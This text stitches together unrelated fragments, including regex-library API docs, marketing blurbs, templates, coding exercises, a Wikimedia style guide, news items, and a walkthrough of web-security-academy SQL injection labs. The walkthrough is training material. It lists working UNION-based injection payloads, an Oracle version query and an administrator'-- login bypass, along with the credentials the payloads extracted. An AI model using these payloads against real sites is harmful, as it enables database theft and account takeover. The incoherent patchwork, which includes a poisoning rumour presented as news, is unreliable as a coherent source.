all_match(Text, ReInput) -> Result
Text: subject string
returns: A list
Retrieve Part of the Matched Text.
You have a regular expression that matches a substring of the subject text.
You want to match just one part of that substring. To isolate the part
you want, you added a capturing group to your regular expression.
See also:
re:run/3,
erlang:hd/1,
lists:map/2.
See also: re_tuner:mp/1.
avoid_characters() -> Result
returns: The list of spectial characters.
The list of characters which raise an error if escape character is not used.
filter(Text, ReInput, Function) -> Result
Text: subject string
Function: filter function
returns: A list
Filter Matches in Procedural Code.
Retrieve a list of all matches a regular expression can find in a string when it is
applied repeatedly to the remainder of the string after each match. Get a list of
matches that meet certain extra criteria that you cannot (easily) express in
a regular expression.
See also:
lists:filter/2.
See also: re_tuner:all_match/2, re_tuner:mp/1.
first_match(Text, ReInput) -> Result
Text: subject string
returns: A string as a result
Retrieve the Matched Text.
You have a regular expression that matches a part of the subject text, and you want to
extract the text that was matched. If the regular expression can match the string more
than once, you want only the first match.
See also:
re:run/3.
See also: re_tuner:mp/1.
first_match_info(Text, ReInput) -> Result
Text: subject string
returns: Tuples as a result
Determine the Position and Length of the Match.
Instead of extracting the substring matched by the regular expression you want to determine
the starting position and length of the match.
With this information, you can extract the match in your own code or apply whatever
processing you fancy on the part of the original string matched by the regex.
See also:
re:run/3.
See also: re_tuner:mp/1.
first_part_match(Text, ReInput) -> Result
Text: subject string
returns: A string
Retrieve Part of the Matched Text.
You have a regular expression that matches a substring of the subject text.
You want to match just one part of that substring. To isolate the part
you want, you added a capturing group to your regular expression.
See also:
re:run/3.
See also: re_tuner:mp/1.
is_full_match(Text, ReInput) -> Result
Text: subject string
returns: true or false
Check whether a string fits a certain pattern in its entirety.
A partial match is not sufficient.
See also:
re:run/3.
See also: re_tuner:mp/1.
is_match(Text, ReInput) -> Result
Text: subject string
returns: true or false
Check whether a match can be found for a particular regular expression in a particular string.
A partial match is sufficient.
See also:
re:run/3.
See also: re_tuner:mp/1.
match_chain(Text, ReList) -> Result
Text: subject string
ReList: regex list
returns: A list
Get the matches of one Regex within the matches of another Regex.
This function takes a list of Regexes.
Find the matches of a Regex within the matches of another Regex, within the matches
of other Regexes, as many levels deep as you want.
See also:
lists:map/2.
See also: re_tuner:all_match/2, re_tuner:mp/1.
match_evaluator(DoAction, Text, Regex) -> Result
DoAction: a spec - function(InputString)-> NewString
Text: subject string
Regex: regex pattern
returns: A string
Replace Matches with Replacements Generated in Code.
Replace all matches of a regular expression with a new string that you build
up in procedural code. You want to be able to replace each match with a different string,
based on the text that was actually matched.
See also:
erlang:element/2,
string:slice/3,
string:length/1,
re:run/3.
See also: re_tuner:mp/1.
mp(Regex) -> MP | {error, tuple()}
Regex: regex pattern
returns: Opaque data type containing a compiled regular expression
It is reduced form of re:compile/1
function.
Return opaque data type containing a compiled regular expression or raise an error badarg
.
See also:
mp(),
re:compile/1.
mp(Regex, Options) -> MP | {error, badarg}
Regex: regex pattern
Options: additional regular expression metadata
returns: Opaque data type containing a compiled regular expression
It is reduced form of re:compile/1
function.
Return opaque data type containing a compiled regular expression or raise an error badarg
.
See also:
mp(),
re:compile/2.
replace(Pattern) -> UpdatedPattern
Pattern: searched regex pattern for replacing
returns: Updated Regex pattern string
Replace one of shorthand pattern from the list [\s,\w,\h,v]
in a pattern string.
See also:
lists:foldl/3.
Don't apply \w
shorthand to unicode content.
replace(Text, Regex, Replacement) -> Result
Text: subject string
Regex: regex pattern
Replacement: a replacement string
returns: A string
Replace All Matches.
Replace all matches of the regular expression with the replacement text.
See also:
re:replace/4.
See also: re_tuner:mp/1.
save_pattern(Pattern) -> SavePattern
returns: Save pattern
Make save Regex pattern which make literal for any character.
subfilter(Text, OuterReInput, InnerReInput) -> Result
Text: subject string
returns: A list
Filter a match within another match.
Find all the matches of a particular regular expression, but only within
certain sections of the subject string. Another regular expression matches each of the
sections in the string.
See also: re_tuner:all_match/2, re_tuner:mp/1.
submatch_evaluator(Text, OuterRegex, InnerRegex, Replacement) -> Result
Text: subject string
OuterRegex: outer regex pattern
InnerRegex: inner regex pattern
Replacement: a replacement string
returns: A string
Replace All Matches Within the Matches of Another Regex.
Replace all the matches of a particular regular expression, but only within
certain sections of the subject string. Another regular expression matches each of the
sections in the string.
See also:
erlang:element/2,
string:slice/3,
string:length/1,
re:run/3.
See also: re_tuner:mp/1, re_tuner:replace/3.
tune(Regex) -> Result
returns: Transformed Regex pattern.
Replace Regex pattern to more siple one.
unicode_block(BlockName) -> Range | nomatch
BlockName: is Regular Expression block name
returns: Regular Expressions range of code points
The Unicode character database divides all the code points into blocks. Each block
consists of a single range of code points. The code points U+0000 through U+FFFF
are divided into 156 blocks in version 6.1 of the Unicode standard.


"People always ask me who helped me get started with my social media strategy. In a word... BeakSpeak!"
Julia Namour, Owner and Designer, Connector Jewels
Diana Mahmoud created BeakSpeak to help business owners who feel intimidated by the ever-changing digital world to have both the knowledge and confidence to improve their online presence and customer engagement. “I understand not everyone grew up with an iPad because I didn't either. As much as I hate to admit it, I took a typing class instead of a keyboarding class. I also remember a time when a mouse was to be loathed, cookies were to be eaten, and browsing was done in public at the local mall.”
Despite generational disadvantage, she built a career, first in traditional media and later in digital with a focus on customer engagement and online user experience. As an accomplished multimedia project manager with SAS’s award-winning Curriculum Pathways,a interactive educational software, she led the development of cutting-edge Internet content. Today, she uses her experience and expertise as a certified social media marketer to help others understand how to use the latest tools to promote themselves and their businesses.
Are you ready to go social and engage your clients in the digital world? Not yet? It’s time to stop feeling intimidated! Contact Beakspeak to join the conversation.


Even people who make an effort to be inclusive, sometimes include loaded language. Classic texts, work emails and public debate commonly suffer from this problem. As Leaders, educators, parents and citizens, the inclusiveness of our language is important.
We created “Bias Catcher” as a tool to process a passage of text, an email, a newsletter, or a social media post. By highlighting isolating language, Bias Catcher can help people to identify unconscious bias in written communications.
With Bias Catcher, machine learning enables automated flagging of relevant content for review. We use a word vector model to find semantic relationships between input content and an initial set of keywords and phrases. The semantic distance algorithm allows this matching to detect words that may not be in the list, but have a close semantic meaning to a word in the list.
For example, the list flags that blonde is known to be sometimes used in an offensive context. The semantic distance algorithm therefore also detects that redhead might also raise the same potential concerns.
The way our books are read, the way our leaders speak to the people, the way businesses collaborate internationally. It all leads to a more inclusive communication platform, where no-one feels left out.
We have a very basic version of Bias Catcher live right now. We encourage you to try it for yourself below.
So much of what we write contains unconscious gender and other biases. This tool will help you to detect them. Please enter some text below to see an assessment.
{% endblock %}


{% extends "base.html" %} {% from "_formhelpers.html" import form_errors %} {% block title %}Rating on {{ entry.jam.title }}{% endblock %} {% block content %}
You cannot skip this entry. You already skipped it, and no unskipped entries are left for you to rate. But you can refresh this page and hope to randomly get an other entry.
{% endif %}


This function takes a single string as an argument.
Hello, my cat. And my cat doesn't say "hello" back.
It returns a dictionary of words and their counts:
{'hello': 2, 'my': 2, 'cat': 2, 'and': 1, "doesn't": 1, 'say': 1, 'back': 1}
Case should be ignored. Output keys must be lowercase.
Key order in the dictionary doesn’t matter.
Split the strings into words on any whitespace.
Ignore each of the following characters:
" : ; , . - + = / \ | [ ] { } ( ) * ^ &
If the input contains no ignored characters, return an empty dictionary.


Instructions
To calculate the annualized internal rate of return, enter the amounts and dates of the transactions. The amounts are relative to your account, so purchases are negative and sales or disbursements are positive. If the investment is ongoing, enter a transaction with the present value and today's date.
Use the add rows button if you need more transactions. Leave rows blank if you have too many rows.
Use the "Calculate xirr" button to calculate the annualized internal rate of return. The result appears above the transactions.
The internal rate of return of an investment is the interest rate required on a simple investment (like a savings account) to generate the equivalent results. It can be used to compare disparate investment performances, e.g. owning stock vs bonds or CDs.
Acknowledgements
The xirr app would not be possible without the open source community and the following open source projects:
- Apache Cordova, licensed under the Apache 2.0 License. Apache Cordova transforms HTML 5 into native phone apps.
- Browserify, a build tool for converting Node.js modules into JavaScript which can run in a browser.
- The newton-raphson-method Node.js module from scijs, licensed under the MIT license.
The xirr app was conceived as an example of using Browserify and Cordova to transform a Node.js module into an Android app.
If you are still reading and are concerned that none of the stuff in this section made any sense whatsoever, do not worry, you can still use the app to calculate the rate of return on your investment in Uncle Fred's user car shop, assuming he ever actually disburses you any money. (Should you really have taken out a student loan to finance that? You know that those can't be discharged in bankrupty.)
Finally you should know that this app itself and the Node.js module it is based on are open source themselves and available on github at https://github.com/RayDeCampo/android-xirr and https://github.com/RayDeCampo/nodejs-xirr. They are available under the MIT license.


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Fill up the form and hit send!
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A non-empty zero-indexed array A consisting of N integers is given. A pair of integers (P, Q), such that 0 ≤ P < Q < N, is called a slice of array A (notice that the slice contains at least two elements). The average of a slice (P, Q) is the sum of A[P] + A[P + 1] + ... + A[Q] divided by the length of the slice. To be precise, the average equals (A[P] + A[P + 1] + ... + A[Q]) / (Q − P + 1).
For example, array A such that:
A[0] = 4 A[1] = 2 A[2] = 2 A[3] = 5 A[4] = 1 A[5] = 5 A[6] = 8contains the following example slices:
- slice (1, 2), whose average is (2 + 2) / 2 = 2;
- slice (3, 4), whose average is (5 + 1) / 2 = 3;
- slice (1, 4), whose average is (2 + 2 + 5 + 1) / 4 = 2.5.
The goal is to find the starting position of a slice whose average is minimal.
Write a function:
def solution(A)
that, given a non-empty zero-indexed array A consisting of N integers, returns the starting position of the slice with the minimal average. If there is more than one slice with a minimal average, you should return the smallest starting position of such a slice.
For example, given array A such that:
A[0] = 4 A[1] = 2 A[2] = 2 A[3] = 5 A[4] = 1 A[5] = 5 A[6] = 8the function should return 1, as explained above.
Assume that:
- N is an integer within the range [2..100,000];
- each element of array A is an integer within the range [−10,000..10,000].
Complexity:
- expected worst-case time complexity is O(N);
- expected worst-case space complexity is O(N), beyond input storage (not counting the storage required for input arguments).


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Dear ,
We are pleased to announce your acceptance to to study to become a . The school received applications. Our campus is located at: . Classes start on and we recommend you take a to arrive on your first day. Do not forget to bring your and your !
Sincerely,
Dean of Admissions at


Writing Things We Can No Longer Read
Writing Things We Can No Longer Read is a surrealist artgame about the beauty of apophenia. It is the fourth iteration in a series of ephemeral artgames that address the human need to find meaning.
We transcribe significance constantly in our daily lives. This writing increases until it reaches a critical mass of meaninglessness and then eventually it finds its way into the realm of meaning again.
I hope.
Developed, in part, for a 12 hour game jam, updated for a gallery exhibition, then later a conference and continually evolving.


Mustafa İlhan
Software Engineer,
Visual Artist
Interested in Art, Design and Software
Projects
Github
Medium
Twitter
Behance
Linkedin
Resume
Say Hi! 👋
İzmir, Turkey — Feb 2021


API
Gravity can be extended at runtime using C API. The right step to proceed is usually to create a new class, then add methods and proporties to it and finally register that class inside the VM.
// report error callback function
void report_error (error_type_t error_type, const char *message,
error_desc_t error_desc, void *xdata) {
printf("%s\n", message);
exit(0);
}
// function to be execute inside Gravity VM
bool my_function (gravity_vm *vm, gravity_value_t *args,
uint16_t nargs, uint32_t rindex) {
// do something useful here
}
// Configure VM delegate
gravity_delegate_t delegate = {.error_callback = report_error};
// Create a new VM
gravity_vm *vm = gravity_vm_new(&delegate);
// Create a new class
gravity_class_t *c = gravity_class_new_pair (vm, "MyClass", NULL, 0, 0);
// Allocate and bind closures to the newly created class
gravity_closure_t *closure = gravity_closure_new(vm, my_function);
gravity_class_bind(c, "myfunc", VALUE_FROM_OBJECT(closure));
// Register class inside VM
gravity_vm_setvalue(vm, "MyClass", VALUE_FROM_OBJECT(c));
Using the above C code a "MyClass" class has been registered inside the VM and ready to be used by Gravity:
func main() {
// allocate a new class
var foo = MyClass();
// execute the myfunc C function
foo.myfunc();
}
Bridge API
Gravity C API offers much more flexibility using the delegate bridge API.
TO DO: more information here.
TO DO: post objc bridge.


We plan to maintain good financial stability while not compromising the quality of our events; this will require an emphasis on fundraising including soliciting pharmaceutical and other large companies.
GSAN is a financially transparent organization. If you have any questions regarding expenses please contact our VP Finance.
VP Finance: Brent Dawe: vpfinancegsan@gmail.com


---
layout: skeleton
---
Mrs Dianne Seet
Mother Tongue is Cool at Home
and in School too! - Strategies to Motivate Children to Love MTL
Dr Connie Lum
Leveraging on Five Senses in Developing Skills to Learn Chinese Language
Ms Elakeyaa Selvaraji
Having Smart Conversations with your Children using Specialised Techniques
Mr Haniman Boniran
Let’s Learn Malay Language at the Zoo!


Reviews
Manage your reputation.
7,872
total reviews
Mark all as read
View reviews live
80%
15%
4%
1%
0%
Most of your consumers are willing to refer.
72% referrers - 13% non-referrers = Net Promoter Score 58
(6,297)
(1,180)
(314)
(78)
(0)
72%
referrers
15%
neutral
13%
non-referrers
by Mary on February 20
But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born...
by Chris on February 19
No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who...
by Steve on February 19
Nor again is there anyone who loves or pursues or desires to obtain pain of itself.
Featured
Review for Dr. Bob
Review for Business Name
Review for Business Name
by Mary on February 20
But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness.
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WATCH: Unbelievable Heart-Rending Scenes Of Flooding As Centurion Goes UNDERWATER In South Africa
by Timothy NdoroCenturion Goes UNDERWATER In South Africa
Heavy rains have devasted South Africa’s Gauteng Province after massive flash floods resulted in parts of the City of Centurion going underwater. Midrand and Pretoria have also been negatively affected, but the flooding is not quite as bad as that in Centurion.
The rains which have been incessant for the past 5 days are so bad that the Centurion Lake Hotel has actually been flooded.
Also Read,
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Miss South Africa Zozibini Tunzi wins Miss Universe
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PHOTOS: You won’t believe What South Africa Miss Universe Winner Was Up Against
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PICS: You Will Not Believe What This South African Pastor Uses To Deliver Congregants [UPDATED]
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Breaking News: Russia Banned From All Global Sports, 2020 Olympics & 2022 FIFA World Cup
In other news: Jacob Zuma Poisoned, Rushed To ‘Secret’ Hospital in Cuba for treatment?
The rumour mill is on overdrive after suggestions that former President Jacob Zuma was whisked away “incognito” style to Cuba for an emergency medical procedure after sources claimed he was poisoned.
This would be the second time Jacob Zuma would have been poisoned after the first attempt was allegedly orchestrated by his wife Nompumelelo Ntuli-Zuma, known as MaNtuli in 2014 whilst he was president. She was not prosecuted for the alleged poisoning attempt owing to an apparent total lack of evidence.
South Africans, however, are not impressed with the news citing that the former president should be treated in South Africa and not Cuba.
To View and Apply for the latest Jobs and Vacancies in Zimbabwe, Please Visit our Sister website iHarare Jobs


The server is set up to no value found
You can use the public Langtool server https://api.languagetoolplus.com/.
If you prefer to keep your data locally, run a local instance of the Langtool server and change the Server URL to your localhost instance.


--- layout: post title: Email Link - Delete Check in Style categories: [] tags: emaillink status: publish type: post published: true meta: {} ---
The CM Rambler showed how to improve the Email Link Admin console, this post shows how you might add a facility to delete a user's Check in Style from within the admin console. My main motivation for this is that there is a version of Content Manager out there which makes it difficult for a user to delete a user's check in style from the client, which is a problem when, for example, a user leaves the organisation.
As per the video above

<button class="btn btn-small"<EMAIL_ADDRESS>$("button[data-place-uri!=''][data-place-uri]").on("click", function (event) { var placeUri = $(this).attr('data-place-uri'); $.ajax({ url: "CheckinPlace?q=Uri:" + placeUri + "&resultsOnly=true", data: { properties: "CheckinPlaceCheckinAs" }, dataType: 'json' }) .done(function (data) { for (var n = 0; n < data.Results.length; n++) { var place = data.Results[n]; if (place.CheckinPlaceCheckinAs) { $.ajax({ url: "CheckinStyle/" + place.CheckinPlaceCheckinAs.Uri + "/Delete", type: 'POST', dataType: 'json', contentType: 'application/json' }) .done(function (response, statusText) { if (statusText === "success") { window.location.reload(); } }) } } }); });


{% extends "layout.html" %} {% block content %} About Work in Progress {% endblock %}
Work in Progress


SQL Injection
Contents
SQL Injection#
UNION attack, determining the number of columns returned by the query#
Question
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.
To solve the lab, determine the number of columns returned by the query by performing an SQL injection UNION attack that returns an additional row containing null values.
What we know:
vulnerability in product category filter
should be able to use UNION attack to see data from other tables
first step is to see number of columns being returned by the query
https://acd21fe61eb0074fc0b23b47009700b8.web-security-academy.net/filter?category=Pets
The first approach to determining how many columns is to do the ORDER BY
trick with increasing numbers until you get an error. We do that and see that it errors on 4
, indicating that three columns are being returned:
/filter?category=Pets' ORDER BY 1 --
/filter?category=Pets' ORDER BY 2 --
/filter?category=Pets' ORDER BY 3 --
/filter?category=Pets' ORDER BY 4 -- (error)
The second approach (and the one required for solving this lab) is to use the UNION SELECT NULL
trick with the selected number of NULL columns. Based on the information gained in the first approach, we craft the following query/filter and solve the challenge:
/filter?category=Pets' UNION SELECT NULL, NULL, NULL --
UNION attack, finding a column containing text#
Question
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.
The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform an SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.
Given:
SQL injection vuln in the product category filter
Should be able to do a union attack to pull data from other tables
builds on previous lab
need to identify a column that is compatible with string data
Goal: perform the SQL Injection UNION attack, return additional row containing value provided:
S3HPlT
.
We walk through the three fields looking for a match:
/filter?category=Pets' UNION SELECT 'S3HPlT',NULL,NULL-- (internal server error)
/filter?category=Pets' UNION SELECT NULL,'S3HPlT',NULL-- (success!)
/filter?category=Pets' UNION SELECT NULL,'S3HPlT',NULL-- (internal server error)
And we can see that the second attempt solved the challenge - we now know that the query is returning 3 columns and the second is compatible with string data.
SQL injection UNION attack, retrieving data from other tables#
Question
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.
The database contains a different table called users, with columns called username and password.
To solve the lab, perform an SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.
Building on prior solutions, we wnt to retrieve data from other tables. We are told that there is another table called users
that has a column named username
and another called password
. Note that this is easier than the above as we don’t have to shove things into one column (yet).
/filter?category=Pets' UNION select username, password from users --
yields us information like the following:
The Lazy Dog
The Lazy Dog is brought to you by the same people who invented the...
carlos
934rdmfpigx806kxma0m
administrator
734gs039pp7hvz53glwk
wiener
6yfdkdcuexrs36a2nd2a
We can then take this information and log in as the administrator account.
SQL injection UNION attack, retrieving multiple values in a single column#
Question
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.
The database contains a different table called users, with columns called username and password.
To solve the lab, perform an SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.
This is very much like the prior scenario, but uses the structure from the prior challenges wherein you have three columns, and only the second is compatible with strings. Therefore, we have to shove both the username and password into the same field. This can be done with a query that looks like the following:
// determine how many columns exist
filter?category=Pets' UNION SELECT NULL,NULL --
// confirm which columns support text:
filter?category=Pets' UNION SELECT NULL,'a' -- (column 2)
// grab the username/password and stuff them into the 2nd column
/filter?category=Pets' UNION SELECT NULL,username || '~' || password from users --
This yeilds a result like the following:
More Than Just Birdsong
Pest Control Umbrella
Babbage Web Spray
administrator~o7188srj54a849wwm2cq
Giant Grasshopper
wiener~8hxtfx4depv2otj53nb9
carlos~z54oyd1moidzjxuz9oxm
And we can then log in as the administrator, solving the challenge
SQL injection attack, querying the database type and version on Oracle#
Question
This lab contains an SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
To solve the lab, display the database version string.
Tip
I failed quite a bit on this until I clicked the ‘hint’ and learned that every select on ORACLE needs a from stmt.
// determine how many columns are being returned (2)
/filter?category=Gifts' ORDER BY 2 --
// confirm that both columns are compatible with strings (using built-in table named `dual`)
/filter?category=Gifts' UNION SELECT 'a','a' from dual --
// now let's start doing something
/filter?category=Gifts' UNION SELECT version FROM v$version --
// query the banner
/filter?category=Gifts' UNION SELECT BANNER,'a' from v$version --
And that produces the solution:
CORE <IP_ADDRESS>.0 Production
a
NLSRTL Version <IP_ADDRESS>.0 - Production
a
Oracle Database 11g Express Edition Release <IP_ADDRESS>.0 - 64bit Production
a
PL/SQL Release <IP_ADDRESS>.0 - Production
a
TNS for Linux: Version <IP_ADDRESS>.0 - Production
a
Vulnerability allowing login bypass#
Question
This lab contains an SQL injection vulnerability in the login function.
To solve the lab, perform an SQL injection attack that logs in to the application as the administrator
user.
This is another simple case wherein you are encouraged to log in at a standard username/password form (https://ac031f731e5b8017c0984a7400ba0058.web-security-academy.net/login). Much like the prior example, however, you can manipulate the query directly by providing a username of administrator'--
and any value for the password field. This terminates the query that is presumeably something like
SELECT * FROM users WHERE username = 'administrator' AND password = 'myPassword'
. It results in the following query: SELECT * FROM users WHERE username = 'administrator'--' AND password = 'no matter'


raise NotImplementedError
def _forward_ff(self, state, action):
state_ = state.view(state.shape[0], -1)
state_ = self.observation_net(state_)
action_ = action.view(action.shape[0], -1)
action_ = self.action_net(action_)
raise NotImplementedError()
def _forward_ff(self, state, action):
state_ = self._process_state(state, self.observation_net)
action_ = self.action_net(action)
x = torch.cat((state_, action_), dim=1)
x = self.main_net(x)
return x


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Quality Engineering
IOS conducts its low-altitude test launches at the Mojave Test Area (MTA) in the desert North of Mojave and at Delamar Dry Lake in Nevada, where it is authorized by the FAA to launch rockets to a maximum altitude of 10 miles (16km) and higher---ideal for flight-testing hardware.
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{{Infobox prepared food | name = Sopa de pata | image = | caption = | alternate_name = | country = El Salvador | region = | creator = | course = | type = Soup | served = | main_ingredient = Cow’s feet, tripe, yuca, chayotes, sweet corn, bananas, green beans | variations = | calories = | other = }}
Sopa de pata is a hearty Salvadoran soup made from cow’s feet, tripe, yuca (also called cassava or manioc), chayotes, sweet corn, bananas, and green beans. It may be seasoned with Mexican coriander leaves and flavored to taste with lemon or chile powder.
{{soup-stub}}


Dear Future Employer,
I'm a passionate problem-solver who loves to code and think about future. I enjoy solving new and novel challenges and am always seeking to learn new skills.
After my Philosophy and Psychology degree I fell into accountancy while working in the finance team at my first job. Accounting is what led to me first engaging with IT as I sought to automate our reporting and to find better ways to access and distribute more of the companies data.
Since engaging with IT I have found myself consistently wanting to delve deeper down the rabbit hole. I find the community engagement in open-source software developement and the ways strangers will support one another truly inspiring, and now I am seeking to start giving back to the communities I have learned so much from.
With little experience in working as a part a larger software development team, I am seeking to join an organisation where I can continue my journey into IT development, so that I can learn from those around me. My ideal employer will encourage their teams to write clear, testable, well-documented code, adhereing to industry best practices, and will also be supportive of my ambitions to give back to the open-source community.
By hiring me, you would be gaining someone who is determined to implement high quality, enduring solutions to any problems that you are faced with, and is completely commited to keep improving.
Yours faithfully,
Michael Martinez
Full Stack Web Developer


The 33rd uniform polyhedron is the Truncated icosidodechedon; it has Wythoff symbol 2 3 5|. Its dual is the disdyakistriacontahedron. The pattern of polygons round each vertex is (4,6,10); its symmetry group is the icosahedral group A5.
It has:
Euler characteristic: 2
Density: 1
Number of vertices: 120
Number of edges: 180
Number of faces: 62 (=1210and 20 hexagons and 30 quadrilaterals).


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Visual Style
Wikimedia projects are associated with learning, editorship, and books. They are neutral and transparent. They are about reading and writing.
Principles
Wikipedia is our most prominent project.
It's an encyclopedia. It's a modern encyclopedia. We have a certain perception of visual identity when we talk about encyclopedias. An identity which reflects wisdom. At the same time, traditional encyclopedias have a dated look and feel. This is also the big difference between traditional knowledge sharing and Wikipedia.
Wikipedia is continuously evolving and we need to incorporate that into it's look and feel.
Paper was the largest medium for spreading knowledge. Today it is computers. We borrowed values that are tied to printed media. Values like trustworthiness and academical objectivity.
We start with basic elements like paper and ink, then extend it further to match the needs of our visual character.
Paper casts subtle shadows onto a base surface. paper has slightly rounded corners due to it's organic nature.
We follow our design principles of content first. content precedes chrome. content goes on paper, chrome stays on the base layer. <think of better wording> make it obvious what is chrome.
Our color choices are inspired from black, white, and ink blue. Typography has roots in traditional typefaces.
It is an uncommon mix of new and old media. Joyful yet trustworthy.
The topics in this section are execution of these ideas.
Colors
The color palette represents our character and brings a hint of freshness to our products.
Making the content readable for everyone was our main goal. Accessibility considerations have been our top priority. Each color in the palette indicates its WCAG conformance level (“AA” or “AAA”). It's based on colors' contrast against white or black.
Base colors
Base colors define the content surface and the main color for content. Different shades of paper and ink are useful to emphasise or de-emphasise different content areas.
Base colors go from pure white (Base100) to true black (Base0). Intermediate shades of grey include a tint of blue for greater harmony with our accent color.
When applying text on a surface, you need to check the color contrast between the text and the background:
- Base100…50 are safe text colors for a black surface.
- Base30…0 are safe text colors for a white surface.
-
Base100 AAA
#fff
RGB 255, 255, 255
HSB 0, 0%, 100%
-
Base90 AAA
#f8f9fa
RGB 248, 249, 250
HSB 210, 1%, 98%
-
Base80 AAA
#eaecf0
RGB 234, 236, 240
HSB 220, 3%, 94%
-
Base70 AAA
#c8ccd1
RGB 200, 204, 209
HSB 213, 4%, 82%
-
Base50 AAA
#a2a9b1
RGB 162, 169, 177
HSB 212, 8%, 69%
-
Base30 AA / AA
#72777d
RGB 114, 119, 125
HSB 210, 9%, 49%
-
Base20 AAA
#54595d
RGB 84, 89, 93
HSB 207, 10%, 36%
-
Base10 AAA
#222
RGB 34, 34, 34
HSB 0, 0%, 13%
-
Base0 AAA
#000
RGB 0, 0, 0
HSB 0, 0%, 0%
Accent colors
Accent colors are used to emphasise actions and highlight key information. Blue is a natural choice in our context, where it has been the default color used for links, conveying the idea of action.
There are three shades provided for situations where you need a lighter (Accent90), regular (Accent50) or a darker (Accent10) version.
Accent50 provides a blue which is suitable to be used for text and as background. When used as link text it provides sufficient contrast with black text to notice the difference. When used as background, it provides enough contrast with white text to keep the text readable.
-
Accent90 AAA
#eaf3ff
RGB 234, 243, 255
HSB 214, 8%, 100%
-
Accent50 Progressive AA
#36c
RGB 51, 102, 204
HSB 220, 75%, 80%
-
Accent10 AAA
#2a4b8d
RGB 42, 75, 141
HSB 220, 70%, 55%
Utility colors
Red, green and yellow are utility colors. They can act as accent colors bringing the additional meaning that is commonly associated with them.
-
Red90 AAA
#fee7e6
RGB 255, 231, 230
HSB 2, 10%, 100%
-
Red50 Destructive AA / AA
#d33
RGB 221, 51, 51
HSB 360, 77%, 87%
-
Red10 AAA
#873636
RGB 135, 54, 54
HSB 360, 60%, 53%
-
Green90 AAA
#d5fdf4
RGB 213, 253, 244
HSB 167, 16%, 99%
-
Green50 AA
#00af89
RGB 0, 175, 137
HSB 167, 100%, 69%
-
Green30 AA
#14866d
RGB 20, 134, 109
HSB 167, 85%, 53%
-
Yellow90 AAA
#fef6e7
RGB 254, 246, 231
HSB 39, 9%, 100%
-
Yellow50 AAA
#fc3
RGB 255, 204, 51
HSB 45, 80%, 100%
-
Yellow30 AA
#ac6600
RGB 172, 102, 0
HSB 36, 100%, 67%
Additional colors
Some use cases, such as charts and data visualization, may need a broader color palette. Make sure to aim for level AA contrast (4.5:1) when extending the default palette. Also try to test how they are perceived at different color vision deficiency conditions.
Typography
Because so much of Wikipedia and wiki projects rely on writing and reading, typography is a key component of Wikimedia design. You need to consider the typeface, size, style and spacing of your text to make it achieve a good readability.
This section is currently under development. See dev branch of this repo for up-to-date discussion results.
Icons
Icons help convey a message visually.Icon style
Icons should be simple. They use monochromatic vector-based shapes with the following properties:
- Filled areas. Shapes are defined by filled areas as opposed to outlines.
- Rounded corners. Corners are slightly rounded to make shapes more friendly and welcoming, but not too much to look goofy.
- Medium thick strokes. Strokes should be visible at smaller sizes without effort.
- Diagonal cross-out lines. Icons with a cross-out line will have it from the top-left to the bottom right (like “\”).
Using icons
The icon repository provides a list of the currently available icons.
When using icons you need to consider the size of their target area. Even if icons are presented at a smaller size, you need to make sure that the associated active area is at least 48x48sp. Otherwise users may fail to hit the active area, not getting the expected result.
Creating icons
Icons follow a template. The default canvas is 24x24px. In order to allow for optical adjustments, a different margin will be applied depending on the shape of the icon.
Icons are created using black (Base0). Their color can be changed when the icon is used (preferably done automatically by software).
The simple style and guidelines make it easy to reuse or adapt existing freely licensed icons that you can find on other repos such as material icons or the noun project. You are welcome to use existing icons that align to the proposed style instead of reinventing the wheel icon.


By activating this option you can specify a dedicated QF-Test version, different from the installed one.
For example "C:\Program Files (x86)\qfs\qftest\qftest-<VERSION>\"


Student rubbishes claim NCEA text 'brainwashing' students
A student has rubbished complaints by the National Party that the text used in a question in a level-three English exam is anti-farmer.
National MP Amy Adams said the Qualifications Authority (NZQA) is "brainwashing" students by using the article from the New Zealand Geographic magazine titled Troubled Waters.
She has accused the Qualifications Authority of "state-sponsored bullying" of farmers.
The article describes freshwater being degraded by agriculture and the polarising debate over water quality.
Students are asked to discuss the way the writer explores ongoing change, and to analyse the writer's use of figurative and emotive language, symbolism, allusion and rhetorical questions.
National Party agriculture spokesperson Todd Muller said the exam question portrayed an unbalanced view of farming.
"There needs to be some balance in how our education system portrays farmers. We have the most sustainable farmers in the world but this rarely gets mentioned."
Qualifications Authority deputy chief executive assessment Kristine Kilkelly said the texts selected contained sufficient information and contrasting views, and include a range of specific language features.
She said the question only asks about the author's use of language, not the content of the article.
Student James Macey, 17, sat the exam yesterday and said National's accusations were absurd.
"It's really about the language used and the way that the author's written the text that the question's about, it wasn't trying to get the students to think one way or another."
He said the article was well balanced and in line with other questions - and was appropriate for the exam.
"[With] NCEA exams you get a wide variety of exam questions. They had an economics question this year about the removal of a petrol tax, so I don't think politicians should be too concerned about any biases that NZQA might or might not have."


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Suspected killers of Kogi PDP woman leader arrested
by https://www.facebook.com/CheerfulpraiseJames Azania, Lokoja
The Kogi State Police Command said it has arrested six suspects in connection with the killing of the People’s Democratic Party (PDP) Woman leader, in the state, Mrs. Salome Abuh.
Abuh was murdered and her house razed, last Monday, at Ochadamu, Ofu Local Government Area of the state, by alleged political thugs.
The Kogi State Police Public Relations Officer (PPRO), William Ayah, disclosed this, in Lokoja, on Monday.
